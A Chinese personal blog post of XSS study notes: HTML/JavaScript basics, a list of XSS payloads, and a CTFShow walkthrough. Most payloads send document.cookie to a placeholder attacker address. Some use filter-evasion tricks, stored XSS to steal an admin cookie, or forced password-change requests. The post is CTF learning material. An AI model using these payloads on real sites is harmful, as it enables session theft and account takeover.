XSS基础

yansui Lv3

XSS基础总结

虽然理解的还不是很透彻,但还是写一点吧

一、HTML前置基础

下面是有关XSS漏洞的HTML基础,部分内容直接给出链接。

1.0 HTML简介

HTML简介,注意结合实例理解

1.1 HTML页面构成

1.HTML标签

HTML 标记标签通常被称为 HTML 标签 (HTML tag)。
HTML 标签是由尖括号包围的关键词,比如 <html>
HTML 标签通常是成对出现的,比如 <b> 和 </b>
标签对中的第一个标签是开始标签,第二个标签是结束标签
开始和结束标签也被称为开放标签和闭合标签

2.HTML元素

“HTML 标签” 和 “HTML 元素” 通常都是描述同样的意思.
但是严格来讲, 一个 HTML 元素包含了开始标签与结束标签,如下实例:
HTML 元素:
<p>这是一个段落。</p>

3.HTML元素的属性

HTML 元素可以设置属性
属性可以在元素中添加附加信息
属性一般描述于开始标签
属性总是以名称/值对的形式出现,比如:name=”value”。
属性实例
HTML 链接由 <a> 标签定义。链接的地址在 href 属性中指定:
实例
<a href=”这是一个链接\">http://www.runoob.com">这是一个链接\

1.2 常用的一些HTML元素

1.链接
最常见的就是一个简单的链接

<a href=”url”>链接文本</a>

相关资料
2.表单
表单完成用户输入的内容向服务器端的传递
典型的例子:

1
2
3
4
<form name="input" action="html_form_action.php" method="get">
Username: <input type="text" name="user">
<input type="submit" value="Submit">
</form>

表示用户点击Submit按钮后将user参数通过get方式发送到服务器端的html_form_action.php

相关资料
3.框架、表格、列表、图像、列表、背景
有兴趣就点我去看看

二、JavaScript前置基础

2.0 JavaScript简介

参考链接

2.1 JavaScript语法基础

简要了解即可。
参考链接

2.2 DOM

DOM,即当网页被加载时,浏览器创建页面的文档对象模型(Document Object Model)。
将其理解为当前的HTML文件即可,它有一大堆的方法和属性,暂时都不用管。

有兴趣可以看看

2.3 window对象

1.open方法

JavaScript中的window.open()方法用于打开一个新的浏览器窗口或标签页,并加载指定的URL或文件。
window.open()方法接受一些参数来指定新窗口的属性,包括URL、窗口名称、窗口尺寸、窗口位置等。常用的参数如下:
URL:要在新窗口中加载的网页地址。可以是绝对URL或相对URL。
窗口名称:指定新窗口的名称,如果指定相同名称的窗口已存在,则在该窗口中加载URL。如果名称为空或未指定,则会打开一个新的匿名窗口。
窗口尺寸:可以通过指定宽度和高度的参数来控制新窗口的大小。例如,window.open(‘http://example.com ‘, ‘_blank’, ‘width=500,height=400’)。
窗口位置:可以通过指定左边距和上边距的参数来控制新窗口的位置。例如,window.open(‘http://example.com ‘, ‘_blank’, ‘left=100,top=100’)。
window.open()方法返回一个代表新打开窗口的Window对象,您可以使用该对象引用对新窗口进行操作,例如在新窗口中加载页面、修改新窗口的属性、向新窗口发送数据等。

2.location对象

window.location 对象用于获得当前页面的地址 (URL),若指定window.location.href可以将浏览器重定向到新的页面。暂时了解这么多即可。

参考链接

3.alert方法

alert方法用于从浏览器的当前页面弹出一个窗口,请参考

三、XSS漏洞原理

懒得写了

四、Payloads for XSS

下面是针对XSS一些常用的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>window.open('http://你的公网ip:端口号/'+document.cookie)</script>

<script>var img = document.createElement("img");img.src = "http://你的公网ip:端口号/?cookie="+document.cookie;</script>

<script>window.location.href='http://你的公网ip:端口号/'+document.cookie</script>

<script>location.href='http://你的公网ip:端口号/'+document.cookie</script>

<input onfocus="window.open('http://你的公网ip:端口号/'+document.cookie)" autofocus>

<svg onload="window.open('http://你的公网ip:端口号/'+document.cookie)">

<iframe onload="window.open('http://你的公网ip:端口号/'+document.cookie)"></iframe>

<body onload="window.open('http://你的ceye地址/'+document.cookie)"></body>

过滤空格可以用/* */代替

五、About ajax

AJAX = 异步 JavaScript 和 XML。
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
传统的网页(不使用 AJAX)如果需要更新内容,必需重载整个网页面。

六、CTFShow题解

Web316

先vpn开nc监听,然后直接

1
<script>window.open('http://你的公网ip:端口号/'+document.cookie)</script>

就能收到flag

Web317

过滤了script
payload:

1
<body onload="window.open('http://你的ceye地址/'+document.cookie)"></body>

Web318

payload:

1
<svg onload="window.open('http://你的公网ip:端口号/'+document.cookie)">

Web319

1
<iframe onload="window.open('http://你的公网ip:端口号/'+document.cookie)"></iframe>

Web320

过滤了空格,用/**/代替就行

1
<body/**/onload="window.open('http://你的ceye地址/'+document.cookie)"></body>

Web321

payload:
<svg/**/onload="window.open('http://你的公网ip:端口号/'+document.cookie)">

Web322

上一题的payload照样能打

Web323

上上题的payload照样能打

Web324

上上上题的payload照样能打

Web325

上上上上题的payload照样能打

Web326

上上上上上题的payload照样能打
一把梭了

Web327

开始储存型XSS 一把梭不了了(悲)

不对 上上上上上上题的payload照样能打

Web328

题目形式多样啊
但是还是直接盗取管理员cookie,注册一个账号,账号名是上面的XSS payload,然后登录即可。在查看所有账号信息事会加载这条账号,从而恶意执行js代码完成XSS。

需要注意的是使用cookie伪造身份需要在chrome浏览器的application界面改变,只在hackbar里边改动是不会生效的。

Web329

跟上面的题目一样

Web330

直接修改密码(有点像SSRF?)

payload:

1
<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>

改完直接admin:3登录就行

Web331

感觉332好好玩 先去玩332

好像要学一个叫ajax的东西 学不了一点 打游戏去了 明天再学

href默认的传输方式是GET,这里的意思就是需要使用POST方式完成修改密码的XSS。

payload:

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>

这里只需要知道$.ajax()是一个函数即可。

Web332

感觉更像是教你怎么用brupsuite的题目…..
给自己转账只会给自己加钱,不扣钱

直接BrupSuite抓包重放就行

Web333

这题好像也得ajax 明天再学

最后一道!!
注册用户名为<script>1</script>就可以转账了。
和上一道题目一样,给自己疯狂转账就行。

XSS告一段落啦,还是去看看js比较好,实在是太菜了

  • 标题: XSS基础
  • 作者: yansui
  • 创建于: 2023-06-30 20:17:03
  • 更新于: 2023-07-01 16:40:25
  • 链接: http://yansui.xyz/2023/06/30/XSS总结/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论